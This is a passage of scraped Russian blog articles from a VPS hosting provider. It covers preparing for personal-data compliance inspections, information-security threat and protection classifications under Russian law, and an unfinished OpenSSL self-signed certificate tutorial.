К сожалению, исчерпывающего перечня документов, необходимых для проверок не существует. Проверяющие всегда могут запросить что-нибудь еще. Отчасти потому, что компании и процессы обработки данных внутри них сильно различаются, отчасти потому, что специалисты могут чего-то не понять и потребовать разъяснений.

Что касается регламента, то проверки могут проходить удаленно, в формате документальной проверки, и очно, с выездом сотрудников ведомства в организацию. В обоих случаях есть свои особенности.

Что делать перед документальной проверкой

Расскажем на примере проверки Роскомнадзора.

В организацию приходит письмо от местного управления Роскомнадзора с запросом документов, как правило, из числа перечисленных выше.

В письме указывается срок, к которому они должны оказаться у регулятора. По закону на подготовку и отправку этих бумаг дается не менее трех дней, в реальности обычно предупреждают за неделю или две. Поэтому, если вы уже подготовили набор документов, то у вас останется время, чтобы все перепроверить. А вот успеть с нуля - тот еще челлендж, порой заведомо невыполнимый.

Регулятору передаются копии документов в первозданном виде без изъятий и цензуры. Их необходимо заверить печатью организации и подписью руководителя или его представителя. Электронные копии подписываются квалифицированной электронной подписью.

Роскомнадзор рассматривает полученные материалы, и при необходимости запрашивает пояснения, также в письменном виде, на бумаге или в электронной форме. Если пояснения не предоставлены за три для или недостаточно убедительны, назначается выездная проверка.

Минус документальной проверки в том, что вся коммуникация происходит на бумаге, и порой возникают ситуации, когда регулятор чего-то не находит в пакете документов или не учитывает какие-то детали даже после прочтения пояснений. В процессе выездной проверки с инспекторами проще найти общий язык.

Что делать перед выездной проверкой или инспекционным визитом

С начала пандемии проверяющие стали приезжать реже, однако они все еще регулярно посещают компании. Проверку проводят месту работы или регистрации бизнеса. В компанию приезжают один или несколько человек.

Подготовить рабочее место

Выездная проверка продолжается до 10 рабочих дней и может быть продлена еще на 10. Инспекторы не пробудут в вашем офисе все это время, но точно проведут там несколько дней. Поэтому на время проверки им стоит выделить отдельное рабочее место.

Как минимум, им понадобятся компьютер и принтер, на котором можно печатать протоколы. Лучше всего предоставить отдельный кабинет или переговорку с проектором или большим экраном, на котором удобно показывать документы.

Проинструктировать работников

Не лишним будет рассказать сотрудникам о проверке и полномочиях проверяющих, например, о том, что они могут попросить показать работу информационных систем, в которых обрабатываются персональные данные.

Навести порядок

Проверяющие обращают внимание на то, как и где хранятся документы, содержащие персональные данные. Закон содержит ряд требований к их хранению, но замечания могут последовать, даже если к концу дня договоры с клиентами останутся лежать на столах в офисе без присмотра.

Если говорить про ФСБ, то они могут проверить условия размещения, пломбы и любые другие моменты, касающиеся СКЗИ.

Подготовить пакет документов

Для проверки снова потребуются кипы бумаг. Имеет смысл распечатать только основные акты, а все объемные документы, типа инструкций для пользователей информационных систем, предоставить в электронном виде. Опять же, с электронной подписью. Однако важно иметь в ввиду, что вас все же могут попросить все распечатать. Поэтому важно запастись бумагой и чернилами. Да, они есть в любом офисе, но на практике бывают случаи, когда принтеры работают по несколько дней без перерыва и расходников не хватает.

Если компания, например, работает с большой агентской сетью, то в архиве могут скопиться тысячи договоров с персональными данными. В таком случае допустимо передать проверяющим шаблон договора и набор примеров - договоры, подписанные за последние полгода или год. Это поможет уменьшить объем документации.

Вести список переданных бумаг

В больших объемах документации легко запутаться, поэтому хорошая практика - составить список документов с указанием даты передачи и формы (бумажная или электронная), и передавать их проверяющим под роспись. Так можно будет отследить документы и в случае чего доказать факт передачи.

Собрать рабочую группу для общения с проверяющими

По закону инспекторов должен встретить ответственный за обработку персональных данных, либо его представитель с доверенностью. Однако, одного человека обычно мало, ведь он не может знать все.

Лучше сформировать команду и позвать специалиста по информационной безопасности, сотрудника кадрового отдела, юриста и системного администратора, ответственного за базы с персональными данными. Такая группа поддержки сможет уверенно ответить на любые вопросы по обработке персональных данных.

Как проходит проверка

Как правило, проверка начинается со встречи специалистов со стороны компании и проверяющих, изучения документов и нескольких серий вопросов и ответов. Четкого регламента этого мероприятия не существует, поэтому многое зависит от самих проверяющих.

Вы можете столкнуться с "усталыми" аудиторами, у которых за плечами множество подобных проверок. Если они не наткнутся на что-то непонятное, то скорее всего ограничатся минимумом бумаг и пояснений.

С другой стороны, молодые специалисты, которые карабкаются по карьерной лестнице, бывают намного дотошнее и глубже разбираются в информационных технологиях. Они не поленятся изучить архитектуру баз данных или лично заглянуть в серверную. Особенно любят вникать в технические вопросы сотрудники ФСТЭК и ФСБ.

Что бы они ни делали инспекторы, вы имеете право присутствовать при проверке и интересоваться ее ходом. Это очень полезная возможность. Держите руку на пульсе. Своевременные разъяснения помогают избавиться от множества проблем.

Если вы не согласны с выводами проверяющих, можете что-то добавить или предоставить дополнительные бумаги, стоит делать это в процессе проверки, до составления итогового акта. Это объемный и трудоемкий документ, поэтому проверяющие очень неохотно вносят в него исправления.

Результаты проверки

Когда подписан итоговой акт, остается либо согласиться с результатами проверки, либо подавать жалобу. Ее можно направить в электронном или бумажном виде руководителю регионального подразделения или руководителю ведомства, если нарушения допущены сотрудниками центрального подразделения. На рассмотрение уйдет 30 дней со дня регистрации обращения.

Руководство ведомства может согласиться с жалобой полностью или частично и пересмотреть выводы проверки, а может и не согласиться. Если вы подавали жалобу в региональное подразделение, то можно продублировать жалобу в центральный отдел. Но если не нашли понимания и там, остается только оспаривать результаты проверки в суде.

Как не бывает идеальной кибербезопасности, так не бывает идеальной бумажной безопасности. Пройти проверку без единого замечания - редкость. Дело в том, что для государственных ведомств количество найденных нарушений - прежде всего метрика добросовестной работы проверяющих. Отчеты, в которых все идеально, зачастую воспринимаются с подозрением, ведь написать, что все хорошо, проще, чем действительно проверить соблюдение законодательства.

Нормальный результат взаимодействия с регулятором не отсутствие замечаний, как таковых, а отсутствие реальных санкций, административно-правовых и тем более уголовных. Комиссия оказала вам методическую помощь показала, что можно улучшить, а вы дали материал для отчета, который ляжет на стол их руководству. В этой игре все остались в плюсе - до встречи в следующем раунде.

P.S. Пост получился длинным, но мы дали только базовые советы по прохождению проверок ПДн. Вам интересны нюансы и подробности, связанные с ФСТЭК и ФСБ? Пишите в комментариях.

# data[].attributes.attachment_link.keywords[]
проверки it-компаний

# data[].attributes.attachment_link.keywords[]
персональные данные

# data[].attributes.attachment_link.keywords[]
роскомнадзор

# data[].attributes.attachment_link.title
Проверки защиты персональных данных - гайд по подготовке и прохождению

# data[].attributes.attachment_link.description
По крайней мере база локализована... В сети много руководств по подготовке к проверкам РКН, ФСТЭК и ФСБ, но такие гайды сосредоточены на юридической стороне вопроса и состоят из бесконечных отсылок к законам. Они не дают представления о том, как такие мероприятия происходят на практике. По крайней мере на это жалуются некоторые наши клиенты.

# data[].attributes.attachment_link.readable_text
Безопасность виртуального сервера может быть рассмотрена только непосредственно как "информационная безопасность". Многие слышали это словосочетание, но не все понимают, что же это такое?

"Информационная безопасность" - это процесс обеспечения доступности, целостности и конфиденциальности информации.

Под "доступностью" понимается соответственно обеспечение доступа к информации. "Целостность" - это обеспечение достоверности и полноты информации. "Конфиденциальность" подразумевает под собой обеспечение доступа к информации только авторизованным пользователям.

Исходя из Ваших целей и выполняемых задач на виртуальном сервере, необходимы будут и различные меры и степени защиты, применимые по каждому из этих трех пунктов.

Для примера, если Вы используете виртуальный сервер, только как средство для серфинга в интернете, то из необходимых средств для обеспечения безопасности, в первую очередь будет использование средств антивирусной защиты, а так же соблюдение элементарных правил безопасности при работе в сети интернет.

В другом случае если у Вас размещен на сервере продающий сайт или игровой сервер, то и необходимые меры защиты будут совершенно различными.

Знание возможных угроз, а также уязвимых мест защиты, которые эти угрозы обычно эксплуатируют, необходимо для того, чтобы выбирать наиболее оптимальные средства обеспечения безопасности, для этого рассмотрим основные моменты.

Под "Угрозой" понимается потенциальная возможность тем или иным способом нарушить информационную безопасность. Попытка реализации угрозы называется "атакой", а тот, кто реализует данную попытку, называется "злоумышленником". Чаще всего угроза является следствием наличия уязвимых мест в защите информационных систем.

Рассмотрим наиболее распространенные угрозы, которым подвержены современные информационные системы.

Угрозы информационной безопасности, которые наносят наибольший ущерб

Рассмотрим ниже классификацию видов угроз по различным критериям:

1. Угроза непосредственно информационной безопасности:

Доступность

Целостность

Конфиденциальность

2. Компоненты на которые угрозы нацелены:

Данные

Программы

Аппаратура

Поддерживающая инфраструктура

3. По способу осуществления:

Случайные или преднамеренные

Природного или техногенного характера

4. По расположению источника угрозы бывают:

Как упоминалось в начале понятие "угроза" в разных ситуациях зачастую трактуется по-разному. И необходимые меры безопасности будут разными. Например, для подчеркнуто открытой организации угроз конфиденциальности может просто не существовать - вся информация считается общедоступной, однако в большинстве случаев нелегальный доступ представляется серьезной опасностью.
Применимо к виртуальным серверам, угрозы, которые Вам как администратору сервера, необходимо принимать во внимание это - угроза доступности, конфиденциальности и целостность данных. За возможность осуществления угроз направленных на конфиденциальность и целостность данных, не связанные с аппаратной или инфраструктурной составляющей, Вы несете прямую и самостоятельную ответственность. В том числе как и применение необходимых мер защиты, это Ваша непосредственная задача.

На угрозы направленные на уязвимости используемых Вами программ, зачастую Вы как пользователь не сможете повлиять, кроме как не использовать данные программы. Допускается использование данных программ только в случае если реализация угроз используя уязвимости этих программ, либо не целесообразна с точки зрения злоумышленника, либо не имеет для Вас как для пользователя существенных потерь.

Обеспечением необходимых мер безопасности от угроз направленных на аппаратуру, инфраструктуру или угрозы техногенного и природного характера, занимается напрямую та хостинг компания, которую Вы выбрали и в которой арендуете свои сервера. В данном случае необходимо наиболее тщательно подходить к выбору, правильно выбранная хостинг компания на должном уровне обеспечит Вам надежность аппаратной и инфраструктурной составляющей.

Вам как администратору виртуального сервера, данные виды угроз нужно принимать во внимание только в случаях при которых даже кратковременная потеря доступа или частичная или полная остановка в работоспособности сервера по вине хостинг компании могут привести к не соизмеримым проблемам или убыткам. Это случается достаточно редко, но по объективным причинам ни одна хостинг компания не может обеспечить Uptime 100%.

Угрозы непосредственно информационной безопасности

К основным угрозам доступности можно отнести

1. Внутренний отказ информационной системы;

2. Отказ поддерживающей инфраструктуры.

Основными источниками внутренних отказов являются:

Нарушение (случайное или умышленное) от установленных правил эксплуатации

Выход системы из штатного режима эксплуатации в силу случайных или преднамеренных действий пользователей (превышение расчетного числа запросов, чрезмерный объем обрабатываемой информации и т.п.)

Ошибки при (пере)конфигурировании системы

Вредоносное программное обеспечение

Отказы программного и аппаратного обеспечения

Разрушение данных

Разрушение или повреждение аппаратуры

По отношению к поддерживающей инфраструктуре рекомендуется рассматривать следующие угрозы:

Нарушение работы (случайное или умышленное) систем связи, электропитания, водо- и/или теплоснабжения, кондиционирования;

Разрушение или повреждение помещений;

Невозможность или нежелание обслуживающего персонала и/или пользователей выполнять свои обязанности (гражданские беспорядки, аварии на транспорте, террористический акт или его угроза, забастовка и т.п.).

Основные угрозы целостности

Можно разделить на угрозы статической целостности и угрозы динамической целостности.

Так же стоит разделять на угрозы целостности служебной информации и содержательных данных. Под служебной информацией понимаются пароли для доступа, маршруты передачи данных в локальной сети и подобная информация. Чаще всего и практически во всех случаях злоумышленником осозхнанно или нет, оказывается сотрудник организации, который знаком с режимом работы и мерами защиты.

С целью нарушения статической целостности злоумышленник может:

Ввести неверные данные

Изменить данные

Угрозами динамической целостности являются, переупорядочение, кража, дублирование данных или внесение дополнительных сообщений.
Основные угрозы конфиденциальности

Конфиденциальную информацию можно разделить на предметную и служебную. Служебная информация (например, пароли пользователей) не относится к определенной предметной области, в информационной системе она играет техническую роль, но ее раскрытие особенно опасно, поскольку оно чревато получением несанкционированного доступа ко всей информации, в том числе предметной.

Даже если информация хранится в компьютере или предназначена для компьютерного использования, угрозы ее конфиденциальности могут носить некомпьютерный и вообще нетехнический характер.

К неприятным угрозам, от которых трудно защищаться, можно отнести злоупотребление полномочиями. На многих типах систем привилегированный пользователь (например системный администратор) способен прочитать любой (незашифрованный) файл, получить доступ к почте любого пользователя и т.д. Другой пример - нанесение ущерба при сервисном обслуживании. Обычно сервисный инженер получает неограниченный доступ к оборудованию и имеет возможность действовать в обход программных защитных механизмов.

Для наглядности данные виды угроз так же схематично представлены ниже на рис 1.

Рис. 1. Классификация видов угроз информационной безопасности

Для применения наиболее оптимальных мер по защите, необходимо провести оценку не только угроз информационной безопасности но и возможного ущерба, для этого используют характеристику приемлемости, таким образом, возможный ущерб определяется как приемлемый или неприемлемым. Для этого полезно утвердить собственные критерии допустимости ущерба в денежной или иной форме.

Каждый кто приступает к организации информационной безопасности, должен ответить на три основных вопроса:

1. Что защищать?

2. От кого защищать, какие виды угроз являются превалирующими: внешние или внутренние?

3. Как защищать, какими методами и средствами?

Принимая все выше сказанное во внимание, Вы можете наиболее полно оценить актуальность, возможность и критичность угроз. Оценив всю необходимую информацию и взвесив все "за" и "против". Вы сможете подобрать наиболее эффективные и оптимальные методы и средства защиты.
Основные методы и средства защиты, а так же минимальные и необходимые меры безопасности применяемые на виртуальных серверах в зависимости от основных целей их использования и видов угроз, нами будут рассмотрены в следующих статьях под заголовком "Основы информационной безопасности".

# data[].attributes.attachment_link.keywords[]
безопасность в сети

# data[].attributes.attachment_link.keywords[]
виртуализация

# data[].attributes.attachment_link.keywords[]
виртуальный сервер

# data[].attributes.attachment_link.title
Основы информационной безопасности. Часть 1: Виды угроз

# data[].attributes.attachment_link.description
Безопасность виртуального сервера может быть рассмотрена только непосредственно как "информационная безопасность". Многие слышали это словосочетание, но не все понимают, что же это такое? "Информационная безопасность" - это процесс обеспечения доступности, целостности и конфиденциальности информации. Под "доступностью" понимается соответственно обеспечение доступа к информации. "Целостность" - это обеспечение достоверности и полноты информации.

# data[].attributes.attachment_link.readable_text
В первой части «Основ информационной безопасности» нами были рассмотрены основные виды угроз информационной безопасности. Для того чтобы мы могли приступить к выбору средств защиты информации, необходимо более детально рассмотреть, что же можно отнести к понятию информации.

Информация и ее классификация

Существует достаточно много определений и классификаций «Информации». Наиболее краткое и в тоже время емкое определение дано в федеральном законе от 27 июля 2006 года № 149-ФЗ (ред. от 29.07.2017 года) «Об информации, информационных технологиях и о защите информации», статья 2: Информация – это сведения (сообщения, данные) независимо от формы их представления».

Информацию можно классифицировать по нескольким видам и в зависимости от категории доступа к ней подразделяется на общедоступную информацию, а также на информацию, доступ к которой ограничен – конфиденциальные данные и государственная тайна.

Информация в зависимости от порядка ее предоставления или распространения подразделяется на информацию:

1. Свободно распространяемую

2. Предоставляемую по соглашению лиц, участвующих в соответствующих отношениях

3. Которая в соответствии с федеральными законами подлежит предоставлению или распространению

4. Распространение, которой в Российской Федерации ограничивается или запрещается

Информация по назначению бывает следующих видов:

1. Массовая — содержит тривиальные сведения и оперирует набором понятий, понятным большей части социума.

2. Специальная — содержит специфический набор понятий, которые могут быть не понятны основной массе социума, но необходимы и понятны в рамках узкой социальной группы, где используется данная информация.

3. Секретная — доступ, к которой предоставляется узкому кругу лиц и по закрытым (защищённым) каналам.

4. Личная (приватная) — набор сведений о какой-либо личности, определяющий социальное положение и типы социальных взаимодействий.

Средства защиты информации необходимо применять непосредственно к информации доступ к которой ограничен — это государственная тайна и конфиденциальные данные.

Согласно закона РФ от 21.07.1993 N 5485-1 (ред. от 08.03.2015) «О государственной тайне» статья 5. «Перечень сведений составляющих государственную тайну» относится:

1. Сведения в военной области.

2. Сведения в области экономики, науки и техники.

3. Сведения в области внешней политики и экономики.

4. Сведения в области разведывательной, контрразведывательной и оперативно-розыскной деятельности, а также в области противодействия терроризму и в области обеспечения безопасности лиц, в отношении которых принято решение о применении мер государственной защиты.

Перечень сведений, которые могут составлять конфиденциальную информацию, содержится в указе президента от 6 марта 1997 г. №188 (ред. от 13 июля 2015 г.) «Об утверждении перечня сведений конфиденциального характера».

Конфиденциальные данные – это информация, доступ к которой ограничен в соответствии с законами государства и нормами, которые компании устанавливаются самостоятельно. Можно выделит следующие виды конфиденциальных данных:

Личные конфиденциальные данные: Сведения о фактах, событиях и обстоятельствах частной жизни гражданина, позволяющие идентифицировать его личность (персональные данные), за исключением сведений, подлежащих распространению в средствах массовой информации в установленных федеральными законами случаях. Исключением является только информация, которая распространяется в СМИ.

Служебные конфиденциальные данные: Служебные сведения, доступ к которым ограничен органами государственной власти в соответствии с Гражданским кодексом Российской Федерации и федеральными законами (служебная тайна).

Судебные конфиденциальные данные: О государственной защите судей, должностных лиц правоохранительных и контролирующих органов. О государственной защите потерпевших, свидетелей и иных участников уголовного судопроизводства. Сведения, содержащиеся в личных делах осужденных, а также сведения о принудительном исполнении судебных актов, актов других органов и должностных лиц, кроме сведений, которые являются общедоступными в соответствии с Федеральным законом от 2 октября 2007 г. N 229-ФЗ «Об исполнительном производстве».

Коммерческие конфиденциальные данные: все виды информации, которая связана с коммерцией (прибылью) и доступ к которой ограничивается законом или сведения о сущности изобретения, полезной модели или промышленного образца до официальной публикации информации о них предприятием (секретные разработки, технологии производства и т.д.).

Профессиональные конфиденциальные данные: Сведения, связанные с профессиональной деятельностью, доступ к которым ограничен в соответствии с Конституцией Российской Федерации и федеральными законами (врачебная, нотариальная, адвокатская тайна, тайна переписки, телефонных переговоров, почтовых отправлений, телеграфных или иных сообщений и так далее)

Рисунок 1. Классификация видов информации.

Персональные данные

Отдельно стоит уделить внимание и рассмотреть персональные данные. Согласно федерального закона от 27.07.2006 № 152-ФЗ (ред. от 29.07.2017) «О персональных данных», статья 4: Персональные данные – это любая информация, относящаяся к прямо или косвенно определенному или определяемому физическому лицу (субъекту персональных данных).

Оператором персональных данных является — государственный орган, муниципальный орган, юридическое или физическое лицо, самостоятельно или совместно с другими лицами организующие и (или) осуществляющие обработку персональных данных, а также определяющие цели обработки персональных данных, состав персональных данных, подлежащих обработке, действия (операции), совершаемые с персональными данными.

Обработка персональных данных — любое действие (операция) или совокупность действий (операций), совершаемых с использованием средств автоматизации или без использования таких средств с персональными данными, включая сбор, запись, систематизацию, накопление, хранение, уточнение (обновление, изменение), извлечение, использование, передачу (распространение, предоставление, доступ), обезличивание, блокирование, удаление, уничтожение персональных данных.

Права на обработку персональных данных закреплено в положениях о государственных органах, федеральными законами, лицензиями на работу с персональными данными, которые выдает Роскомнадзор или ФСТЭК.

Компании, которые профессионально работают с персональными данными широкого круга лиц, например, хостинг компании виртуальных серверов или операторы связи, должны войти в реестр, его ведет Роскомнадзор.

Для примера наш хостинг виртуальных серверов VPS.HOUSE осуществляет свою деятельность в рамках законодательства РФ и в соответствии с лицензиями Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций №139322 от 25.12.2015 (Телематические услуги связи) и №139323 от 25.12.2015 (Услуги связи по передаче данных, за исключением услуг связи по передаче данных для целей передачи голосовой информации).

Исходя из этого любой сайт, на котором есть форма регистрации пользователей, в которой указывается и в последствии обрабатывается информация, относящаяся к персональным данным, является оператором персональных данных.

Учитывая статью 7, закона № 152-ФЗ «О персональных данных», операторы и иные лица, получившие доступ к персональным данным, обязаны не раскрывать третьим лицам и не распространять персональные данные без согласия субъекта персональных данных, если иное не предусмотрено федеральным законом. Соответственно любой оператор персональных данных, обязан обеспечить необходимую безопасность и конфиденциальность данной информации.

Для того чтобы обеспечить безопасность и конфиденциальность информации необходимо определить какие бывают носители информации, доступ к которым бывает открытым и закрытым. Соответственно способы и средства защиты подбираются так же в зависимости и от типа носителя.

Основные носители информации:

Печатные и электронные средства массовой информации, социальные сети, другие ресурсы в интернете;

Сотрудники организации, у которых есть доступ к информации на основании своих дружеских, семейных, профессиональных связей;

Средства связи, которые передают или сохраняют информацию: телефоны, АТС, другое телекоммуникационное оборудование;

Документы всех типов: личные, служебные, государственные;

Программное обеспечение как самостоятельный информационный объект, особенно если его версия дорабатывалась специально для конкретной компании;

Электронные носители информации, которые обрабатывают данные в автоматическом порядке.

Определив, какая информация подлежит защите, носители информации и возможный ущерб при ее раскрытии, Вы можете подобрать необходимые средства защиты.

Классификация средств защиты информации

В соответствии с федеральным законом от 27 июля 2006 года № 149-ФЗ (ред. от 29.07.2017 года) «Об информации, информационных технологиях и о защите информации», статья 7, п. 1. и п. 4:

1. Защита информации представляет собой принятие правовых, организационных и технических мер, направленных на:

Обеспечение защиты информации от неправомерного доступа, уничтожения, модифицирования, блокирования, копирования, предоставления, распространения, а также от иных неправомерных действий в отношении такой информации;

Соблюдение конфиденциальности информации ограниченного доступа;

Реализацию права на доступ к информации.

4. Обладатель информации, оператор информационной системы в случаях, установленных законодательством Российской Федерации, обязаны обеспечить:

Предотвращение несанкционированного доступа к информации и (или) передачи ее лицам, не имеющим права на доступ к информации;

Своевременное обнаружение фактов несанкционированного доступа к информации;

Предупреждение возможности неблагоприятных последствий нарушения порядка доступа к информации;

Недопущение воздействия на технические средства обработки информации, в результате которого нарушается их функционирование;

Возможность незамедлительного восстановления информации, модифицированной или уничтоженной вследствие несанкционированного доступа к ней;

Постоянный контроль за обеспечением уровня защищенности информации;

Нахождение на территории Российской Федерации баз данных информации, с использованием которых осуществляются сбор, запись, систематизация, накопление, хранение, уточнение (обновление, изменение), извлечение персональных данных граждан Российской Федерации (п. 7 введен Федеральным законом от 21.07.2014 № 242-ФЗ).

Исходя из закона № 149-ФЗ защиту информации можно разделить так же на несколько уровней:

1. Правовой уровень обеспечивает соответствие государственным стандартам в сфере защиты информации и включает авторское право, указы, патенты и должностные инструкции.
Грамотно выстроенная система защиты не нарушает права пользователей и нормы обработки данных.

2. Организационный уровень позволяет создать регламент работы пользователей с конфиденциальной информацией, подобрать кадры, организовать работу с документацией и носителями данных.
Регламент работы пользователей с конфиденциальной информацией называют правилами разграничения доступа. Правила устанавливаются руководством компании совместно со службой безопасности и поставщиком, который внедряет систему безопасности. Цель – создать условия доступа к информационным ресурсам для каждого пользователя, к примеру, право на чтение, редактирование, передачу конфиденциального документа.
Правила разграничения доступа разрабатываются на организационном уровне и внедряются на этапе работ с технической составляющей системы.

3. Технический уровень условно разделяют на физический, аппаратный, программный и математический (криптографический).

Средства защиты информации

Средства защиты информации принято делить на нормативные (неформальные) и технические (формальные).

Неформальные средства защиты информации

Неформальными средствами защиты информации – являются нормативные(законодательные), административные(организационные) и морально-этические средства, к которым можно отнести: документы, правила, мероприятия.

Правовую основу (законодательные средства) информационной безопасности обеспечивает государство. Защита информации регулируется международными конвенциями, Конституцией, федеральными законами «Об информации, информационных технологиях и о защите информации», законы Российской Федерации «О безопасности», «О связи», «О государственной тайне» и различными подзаконными актами.

Так же некоторые из перечисленных законов были приведены и рассмотрены нами выше, в качестве правовых основ информационной безопасности. Не соблюдение данных законов влечет за собой угрозы информационной безопасности, которые могут привести к значительным последствиям, что в свою очередь наказуемо в соответствии с этими законами в плоть до уголовной ответственности.

Государство также определят меру ответственности за нарушение положений законодательства в сфере информационной безопасности. Например, глава 28 «Преступления в сфере компьютерной информации» в Уголовном кодексе Российской Федерации, включает три статьи:

Статья 272 «Неправомерный доступ к компьютерной информации»;

Статья 273 «Создание, использование и распространение вредоносных компьютерных программ»;

Статья 274 «Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей».

Административные (организационные) мероприятия играют существенную роль в создании надежного механизма защиты информации. Так как возможности несанкционированного использования конфиденциальных сведений в значительной мере обусловливаются не техническими аспектами, а злоумышленными действиями. Например нерадивостью, небрежностью и халатностью пользователей или персонала защиты.

Для снижения влияния этих аспектов необходима совокупность организационно-правовых и организационно-технических мероприятий, которые исключали бы или сводили к минимуму возможность возникновения угроз конфиденциальной информации.

В данной административно-организационной деятельности по защите информационной для сотрудников служб безопасности открывается простор для творчества.

Это и архитектурно-планировочные решения, позволяющие защитить переговорные комнаты и кабинеты руководства от прослушивания, и установление различных уровней доступа к информации.

С точки зрения регламентации деятельности персонала важным станет оформление системы запросов на допуск к интернету, внешней электронной почте, другим ресурсам. Отдельным элементом станет получение электронной цифровой подписи для усиления безопасности финансовой и другой информации, которую передают государственным органам по каналам электронной почты.

К морально-этическим средствам можно отнести сложившиеся в обществе или данном коллективе моральные нормы или этические правила, соблюдение которых способствует защите информации, а нарушение их приравнивается к несоблюдению правил поведения в обществе или коллективе. Эти нормы не являются обязательными, как законодательно утвержденные нормы, однако, их несоблюдение ведет к падению авторитета, престижа человека или организации.

Формальные средства защиты информации

Формальные средства защиты – это специальные технические средства и программное обеспечение, которые можно разделить на физические, аппаратные, программные и криптографические.

Физические средства защиты информации – это любые механические, электрические и электронные механизмы, которые функционируют независимо от информационных систем и создают препятствия для доступа к ним.

Замки, в том числе электронные, экраны, жалюзи призваны создавать препятствия для контакта дестабилизирующих факторов с системами. Группа дополняется средствами систем безопасности, например, видеокамерами, видеорегистраторами, датчиками, выявляющие движение или превышение степени электромагнитного излучения в зоне расположения технических средств для снятия информации.

Аппаратный средства защиты информации – это любые электрические, электронные, оптические, лазерные и другие устройства, которые встраиваются в информационные и телекоммуникационные системы: специальные компьютеры, системы контроля сотрудников, защиты серверов и корпоративных сетей. Они препятствуют доступу к информации, в том числе с помощью её маскировки.

К аппаратным средствам относятся: генераторы шума, сетевые фильтры, сканирующие радиоприемники и множество других устройств, «перекрывающих» потенциальные каналы утечки информации или позволяющих их обнаружить.

Программные средства защиты информации – это простые и комплексные программы, предназначенные для решения задач, связанных с обеспечением информационной безопасности.

Примером комплексных решений служат DLP-системы и SIEM-системы.

DLP-системы («Data Leak Prevention» дословно «предотвращение утечки данных») соответственно служат для предотвращения утечки, переформатирования информации и перенаправления информационных потоков.

SIEM-системы («Security Information and Event Management», что в переводе означает «Управление событиями и информационной безопасностью») обеспечивают анализ в реальном времени событий (тревог) безопасности, исходящих от сетевых устройств и приложений. SIEM представлено приложениями, приборами или услугами, и используется также для журналирования данных и генерации отчетов в целях совместимости с прочими бизнес-данными.

Программные средства требовательны к мощности аппаратных устройств, и при установке необходимо предусмотреть дополнительные резервы.

Математический (криптографический) – внедрение криптографических и стенографических методов защиты данных для безопасной передачи по корпоративной или глобальной сети.

Криптография считается одним из самых надежных способов защиты данных, ведь она охраняет саму информацию, а не доступ к ней. Криптографически преобразованная информация обладает повышенной степенью защиты.

Внедрение средств криптографической защиты информации предусматривает создание программно-аппаратного комплекса, архитектура и состав которого определяется, исходя из потребностей конкретного заказчика, требований законодательства, поставленных задач и необходимых методов, и алгоритмов шифрования.

Сюда могут входить программные компоненты шифрования (криптопровайдеры), средства организации VPN, средства удостоверения, средства формирования и проверки ключей и электронной цифровой подписи.

Средства шифрования могут поддерживать алгоритмы шифрования ГОСТ и обеспечивать необходимые классы криптозащиты в зависимости от необходимой степени защиты, нормативной базы и требований совместимости с иными, в том числе, внешними системами. При этом средства шифрования обеспечивают защиту всего множества информационных компонент в том числе файлов, каталогов с файлами, физических и виртуальных носителей информации, целиком серверов и систем хранения данных.

В заключение второй части рассмотрев вкратце основные способы и средства защиты информации, а так же классификацию информации, можно сказать следующее: О том что еще раз подтверждается давно известный тезис, что обеспечение информационной безопасности — это целый комплекс мер, который включает в себя все аспекты защиты информации, к созданию и обеспечению которого, необходимо подходить наиболее тщательно и серьезно.

Необходимо строго соблюдать и ни при каких обстоятельствах нельзя нарушать «Золотое правило» — это комплексный подход.

Для более наглядного представления средства защиты информации, именно как неделимый комплекс мер, представлены ниже на рисунке 2, каждый из кирпичиков которого, представляет собой защиту информации в определенном сегменте, уберите один из кирпичиков и возникнет угроза безопасности.

Рисунок 2. Классификация средства защиты информации.

# data[].attributes.attachment_link.title
Основы информационной безопасности. Часть 2. Информация и средства её защиты

# data[].attributes.attachment_link.description
В первой части «Основ информационной безопасности» нами были рассмотрены о сновные виды угроз информационной безопасности . Для того чтобы мы могли приступить к выбору средств защиты информации,...

# data[].attributes.attachment_link.readable_text
Практика Self-signed certificate

OpenSSL

Начнем с классики криптографии OpenSSL. Сейчас широко используется версия 1.1.1, но ее поддержка заканчивается в 2023. Следующая версия 3.0 будет поддерживаться до 2026 года. Проверка установленной версии:
openssl version OpenSSL 1.1.1k FIPS 25 Mar 2021
Если OpenSSL не установлен, то его можно установить на всех востребованных платформах.

Реализация TLS
openssl genrsa -out root_ca.key 2048

Далее для нашего CA генерируем X.509 сертификат на 365 дней (root_ca.crt) и подписываем его приватным ключом (root_ca.key). Получается самоподписанный сертификат, его можно и нужно будет скопировать на все компьютеры, между которыми необходимо организовать TLS соединение. При ответах на вопросы, которые будет задавать OpenSSL, можно указывать произвольные данные, CA я назвал "My CN":

openssl req -x509 -new -key root_ca.key -days 365 -out root_ca.crt openssl x509 -text -in root_ca.crt openssl genrsa -out server.key 2048

Генерируем запрос на сертификат CSR. В этом запросе нужно передать конкретные значения в параметре "subj". Это должны быть один или несколько параметров CN (Common Name), которые будут прописаны в атрибутах сертификата "Subject" и "Subject Alternative Name". Фактически CN-ы - это IP адреса и имена хостов, по которым будет осуществляться доступ к серверу. Имена хостов могут быть как в формате доменного имени, так и FQDN:

openssl req -new -key server.key -subj "/CN=xx.xx.xx.xx/CN=server/CN=server.example.com" -out server.csr openssl req -text -in server.csr openssl x509 -req -in server.csr -CA root_ca.crt -CAkey root_ca.key -CAcreateserial -out server.crt -days 365 -extensions SAN -extfile openssl.cnf
[SAN] subjectAltName = @alt_names [alt_names] IP.1 = xx.xx.xx.xx DNS.1 = server DNS.2 = server.example.com
openssl x509 -text -in root_ca.crt
const fs = require('fs'); const https = require('https'); https .createServer( { requestCert: false, rejectUnauthorized: false, ca: fs.readFileSync('root_ca.crt'), cert: fs.readFileSync('server.crt'), key: fs.readFileSync('server.key') }, (req, res) => { console.log("req.client.authorized: ", req.client.authorized) if (req.client.authorized) { const cert = req.socket.getPeerCertificate(false) // true - получить все сертификаты, false - последний console.log("cert: ", cert) } res.end('Hello, world!'); } ) .listen(9443);
sudo yum groupinstall 'Development Tools' sudo yum install nodejs node server.js curl https://server.example.com:9443
При первом запросе возникнет ошибка:
curl: (60) SSL certificate problem: self signed certificate in certificate chain
Это значит, что самоподписанный корневой сертификат нашего CA (root_ca.crt) не находится в хранилище доверительных сертификатов. Процесс загрузки сертификатов в это хранилище специфичен для операционной системы. Приведу алгоритм для RH Linux:
